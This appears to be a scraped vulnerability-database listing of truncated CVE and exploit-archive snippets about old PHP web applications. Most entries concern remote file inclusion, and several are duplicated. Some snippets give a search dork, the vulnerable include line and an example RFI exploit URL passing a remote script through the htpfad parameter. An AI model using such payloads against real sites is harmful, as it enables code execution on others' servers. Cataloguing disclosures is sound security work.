CVE-2007-1013: Undefined Security Weakness

PHP remote file inclusion vulnerability in generate.php in VirtualSystem Htaccess Passwort Generator 1.1 allows remote attackers to execute arbitrary PHP code via a URL in the htpfad parameter...

Htaccess Passwort Generator 1.1 (ht_pfad) RFI Vulnerability

HtaccessgenV1.1.1C Htaccess Passwort Generator V.1.1 Discovered By:- kezzap66345 Download:http://www.virtualsystem.de/downloads/index.php?mekat=PHPScripte&seite=2 dork:htgen.php code: include $htpfad."/tpl/ok.html"; exploit http://target/path/generate.php?htpfad=3vil script? I am a Turk...

Htaccess Passwort Generator 1.1 (ht_pfad) RFI Vulnerability

No description provided by source. HtaccessgenV1.1.1C Htaccess Passwort Generator V.1.1 Discovered By:- kezzap66345 Download:http://www.virtualsystem.de/downloads/index.php?mekat=PHPScripte&seite=2 dork:htgen.php code: include $htpfad."/tpl/ok.html"; exploit...

Htaccess Passwort Generator 1.1 (ht_pfad) RFI Vulnerability

Exploit for unknown platform in category web applications =========================================================== Htaccess Passwort Generator 1.1 htpfad RFI Vulnerability =========================================================== HtaccessgenV1.1.1C Htaccess Passwort Generator V.1.1 Discovere...

Htaccess Passwort Generator 1.1 - ht_pfad Remote File Inclusion

Htaccess Passwort Generator 1.1 - htpfad Remote File Inclusion HtaccessgenV1.1.1C Htaccess Passwort Generator V.1.1 Discovered By:- kezzap66345 Download:http://www.virtualsystem.de/downloads/index.php?mekat=PHPScripte&seite=2 dork:htgen.php code: include $htpfad."/tpl/ok.html"; exploit...

Htaccess Passwort Generator 1.1 - 'ht_pfad' Remote File Inclusion

HtaccessgenV1.1.1C Htaccess Passwort Generator V.1.1 Discovered By:- kezzap66345 Download:http://www.virtualsystem.de/downloads/index.php?mekat=PHPScripte&seite=2 dork:htgen.php code: include $htpfad."/tpl/ok.html"; exploit http://target/path/generate.php?htpfad=3vil script? I am a Turk...

CVE-2007-0792

The modperl initialization script in Bugzilla 2.23.3 does not set the Bugzilla Apache configuration to allow .htaccess permissions to override file permissions, which allows remote attackers to obtain the database username and password via a direct request for the localconfig file...

CVE-2006-6511

dadaIMC .99.3 uses an insufficiently restrictive FilesMatch directive in the installed .htaccess file, which allows remote attackers to execute arbitrary PHP code by uploading files whose names contain 1 feature, 2 editor, 3 newswire, 4 otherpress, 5 admin, 6 pbook, 7 media, or 8 mod, which are...

CVE-2006-6511

The CVE-2006-6511 entry concerns the product dadaIMC .99.3, where an insufficiently restrictive FilesMatch directive in the installed .htaccess allows remote attackers to execute arbitrary PHP code. Specifically, uploaded files whose names contain any of the words: feature, editor, newswire, othe...

CVE-2006-6511

dadaIMC .99.3 uses an insufficiently restrictive FilesMatch directive in the installed .htaccess file, which allows remote attackers to execute arbitrary PHP code by uploading files whose names contain 1 feature, 2 editor, 3 newswire, 4 otherpress, 5 admin, 6 pbook, 7 media, or 8 mod, which are...

CVE-2006-6511: Undefined Security Weakness

dadaIMC .99.3 uses an insufficiently restrictive FilesMatch directive in the installed .htaccess file, which allows remote attackers to execute arbitrary PHP code by uploading files whose names contain 1 feature, 2 editor, 3 newswire, 4 otherpress, 5 admin, 6 pbook, 7 media, or 8 mod, which are...

Cahier de texte 2.0 (Database Backup/Source Disclosure) Remote Exploit

Exploit for unknown platform in category web applications ====================================================================== Cahier de texte 2.0 Database Backup/Source Disclosure Remote Exploit ====================================================================== !/usr/bin/perl INFORMATIONS...

torrentflux22.txt

r0ut3r Presents... Another r0ut3r discovery! TorrentFlux 2.2 Arbitrary File Creation/Overwrite/Deletion & Command Execution Vulnerablities Software: TorrentFlux 2.2 Vendor: http://www.torrentflux.com/ Released: 2006/11/15 Discovered By: r0ut3r writ3r at gmail.com Criticality: Highly critical Note...

contentnow-130.txt

r0ut3r Presents... Another r0ut3r discovery! ContentNow 1.30 Local File Include & Arbitrary File Upload/Delete Vulnerabilities Software: ContentNow 1.30 Vulnerabilities Vendor: http://www.contentnow.mf4k.de/ Released: 2006/11/13 Discovered By: r0ut3r writ3r at gmail.com Criticality: Highly critic...

ContentNow 1.30 - Local File Inclusion Arbitrary File UploadDelete

ContentNow 1.30 - Local File Inclusion Arbitrary File UploadDelete r0ut3r Presents... Another r0ut3r discovery! ContentNow 1.30 Local File Include & Arbitrary File Upload/Delete Vulnerabilities Software: ContentNow 1.30 Vulnerabilities Vendor: http://www.contentnow.mf4k.de/ Released: 2006/11/13...

ContentNow 1.30 (Local/Upload/Delete) Multiple Remote Vulnerabilities

Exploit for unknown platform in category web applications ===================================================================== ContentNow 1.30 Local/Upload/Delete Multiple Remote Vulnerabilities ===================================================================== r0ut3r Presents... Another r0ut...

forumv04c.txt

!/usr/bin/perl Affected.scr..: µforum v0.4c Poc.ID........: 08060901 Type..........: Member's passwords are stored in .dat file no protected by a .htaccess file Risk.level....: Medium Vendor.Status.: Unpatched Src.download..: comscripts.com/scripts/php.forum.1568.html Poc.link......:...

MyBace Light (hauptverzeichniss) Remote File Inclusion

+-------------------------------------------------------------------- + + MyBace Light hauptverzeichniss Remote File Inclusion + + Original advisory: + http://www.bb-pcsecurity.de/Websecurity/384/MyBaceLighthauptverzeichnissRemoteFileInclusion.htm...

MyBace Light (login_check.php) Remote File Vulnerability

Exploit for unknown platform in category web applications ======================================================== MyBace Light logincheck.php Remote File Vulnerability ======================================================== +-------------------------------------------------------------------- +...

MyBace Light - 'login_check.php' Remote File

+-------------------------------------------------------------------- + + MyBace Light hauptverzeichniss Remote File Inclusion + + Original advisory: + http://www.bb-pcsecurity.de/Websecurity/384/MyBaceLighthauptverzeichnissRemoteFileInclusion.htm...